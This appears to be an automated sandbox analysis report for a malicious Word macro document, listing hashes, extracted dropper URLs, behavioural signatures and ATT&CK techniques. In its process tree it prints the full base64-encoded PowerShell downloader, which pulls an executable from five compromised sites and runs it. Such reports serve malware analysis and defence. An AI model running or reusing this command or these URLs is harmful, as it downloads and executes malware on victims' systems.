a8fb356f98ac70f8541c784bae6685ba0e0381f5dabfb030d32cec5e2499634c

General

Target

sample.doc
Size

169KB
MD5

484bfdfec5742ade491aef716e253c6a
SHA1

30a5778512aef149c40adb3e9292a7c8addac114
SHA256

59353bd2a96cfde81847bcf1480a531f68a1fcf0738161455a352c5b9babe28f
SHA512

68c82b5cb60622edf1dd420fe22ddfce92baf743b673bca19857381a334e18807589b7a1b400fd0c004b7bc96d78aafe2358f5573ae13e1e83bbf776e1e58058

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://manandvanwaterlooville.co.uk/wp-admin/prX892/

exe.dropper

https://uniral.com/captchasignup/4J579681/

exe.dropper

https://scyzm.net/lkx7/lqoH8S/

exe.dropper

https://amagna.nl/DZ9MzAobu3/37Z/

exe.dropper

https://nilinkeji.com/online/90fb31/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2732 772 powersheLL.exe
Blocklisted process makes network request 6 IoCs

Processes:

powersheLL.exe

flow pid process

19 2732 powersheLL.exe
21 2732 powersheLL.exe
23 2732 powersheLL.exe
28 2732 powersheLL.exe
30 2732 powersheLL.exe
32 2732 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2732	772	powersheLL.exe

flow	pid	process
19	2732	powersheLL.exe
21	2732	powersheLL.exe
23	2732	powersheLL.exe
28	2732	powersheLL.exe
30	2732	powersheLL.exe
32	2732	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3936 WINWORD.EXE
3936 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

2732 powersheLL.exe
2732 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 2732 powersheLL.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3936 WINWORD.EXE
3936 WINWORD.EXE
3936 WINWORD.EXE
3936 WINWORD.EXE
3936 WINWORD.EXE
3936 WINWORD.EXE
3936 WINWORD.EXE

pid	process
3936	WINWORD.EXE
3936	WINWORD.EXE

pid	process
2732	powersheLL.exe
2732	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	2732	powersheLL.exe

pid	process
3936	WINWORD.EXE
3936	WINWORD.EXE
3936	WINWORD.EXE
3936	WINWORD.EXE
3936	WINWORD.EXE
3936	WINWORD.EXE
3936	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3936

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABWAEEARgBHAEsAaQBqAGMAPQAnAEoAQwBNAEQATQBiAHgAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAdQBSAGkAVABZAFAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQQBXAEUAVgBSAGYAaQBzACAAPQAgACcANAAzADIAJwA7ACQAUQBNAFgAVQBNAHQAcQB4AD0AJwBIAFgAVwBTAFEAcABjAGwAJwA7ACQATABaAEYASQBYAGgAdQB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABBAFcARQBWAFIAZgBpAHMAKwAnAC4AZQB4AGUAJwA7ACQARQBQAFcAWgBWAGMAbAB0AD0AJwBXAEoAQwBZAFIAdQB5AGMAJwA7ACQARABVAEMASwBOAG8AbABsAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAFcAZQBiAEMATABJAGUATgBUADsAJABZAEoARgBQAEkAcwByAHUAPQAnAGgAdAB0AHAAOgAvAC8AbQBhAG4AYQBuAGQAdgBhAG4AdwBhAHQAZQByAGwAbwBvAHYAaQBsAGwAZQAuAGMAbwAuAHUAawAvAHcAcAAtAGEAZABtAGkAbgAvAHAAcgBYADgAOQAyAC8AKgBoAHQAdABwAHMAOgAvAC8AdQBuAGkAcgBhAGwALgBjAG8AbQAvAGMAYQBwAHQAYwBoAGEAcwBpAGcAbgB1AHAALwA0AEoANQA3ADkANgA4ADEALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGMAeQB6AG0ALgBuAGUAdAAvAGwAawB4ADcALwBsAHEAbwBIADgAUwAvACoAaAB0AHQAcABzADoALwAvAGEAbQBhAGcAbgBhAC4AbgBsAC8ARABaADkATQB6AEEAbwBiAHUAMwAvADMANwBaAC8AKgBoAHQAdABwAHMAOgAvAC8AbgBpAGwAaQBuAGsAZQBqAGkALgBjAG8AbQAvAG8AbgBsAGkAbgBlAC8AOQAwAGYAYgAzADEALwAnAC4AIgBTAGAAcABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgARwBTAE0AVQBsAGEAdQA9ACcATgBKAFcATwBLAHEAbAB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEAE8AQgBCAEkAeQB5AG0AIABpAG4AIAAkAFkASgBGAFAASQBzAHIAdQApAHsAdAByAHkAewAkAEQAVQBDAEsATgBvAGwAbAAuACIAZABvAHcAYABOAGwATwBhAEQAYABGAEkAbABFACIAKAAkAEQATwBCAEIASQB5AHkAbQAsACAAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQATgBRAFIAVgBKAHQAaAB0AD0AJwBHAEoARwBCAFUAbgBzAGUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABMAFoARgBJAFgAaAB1AHYAKQAuACIATABgAGUAbgBgAEcAVABIACIAIAAtAGcAZQAgADIANAAwADUANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAEUAYABBAFQARQAiACgAJABMAFoARgBJAFgAaAB1AHYAKQA7ACQAUwBWAEwAWgBBAHYAeQBrAD0AJwBJAFoATQBNAFYAeQBrAGwAJwA7AGIAcgBlAGEAawA7ACQAQwBXAFoARgBBAHgAdABsAD0AJwBMAE8ASQBXAEcAbABzAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBSAFEAWgBLAGoAcgBsAD0AJwBUAFcASwBEAEoAYwBtAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2732

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2732-174-0x000001647F5D0000-0x000001647F5F2000-memory.dmp

Filesize
136KB

Download
memory/2732-176-0x00007FFB044B0000-0x00007FFB04F71000-memory.dmp

Filesize
10.8MB

Download
memory/3936-151-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-180-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3936-134-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3936-155-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-136-0x00007FFAECBE0000-0x00007FFAECBF0000-memory.dmp

Filesize
64KB

Download
memory/3936-137-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-138-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-140-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-139-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-142-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-141-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-143-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-144-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-148-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-149-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-150-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-130-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3936-152-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-135-0x00007FFAECBE0000-0x00007FFAECBF0000-memory.dmp

Filesize
64KB

Download
memory/3936-133-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3936-156-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-154-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-157-0x000001AEA1BF0000-0x000001AEA1BF4000-memory.dmp

Filesize
16KB

Download
memory/3936-158-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-162-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-163-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-164-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-168-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-172-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-173-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-131-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3936-175-0x000001AE9F821000-0x000001AE9F823000-memory.dmp

Filesize
8KB

Download
memory/3936-132-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3936-178-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3936-179-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download
memory/3936-153-0x000001AE9F7F5000-0x000001AE9F82B000-memory.dmp

Filesize
216KB

Download
memory/3936-181-0x00007FFAEED50000-0x00007FFAEED60000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads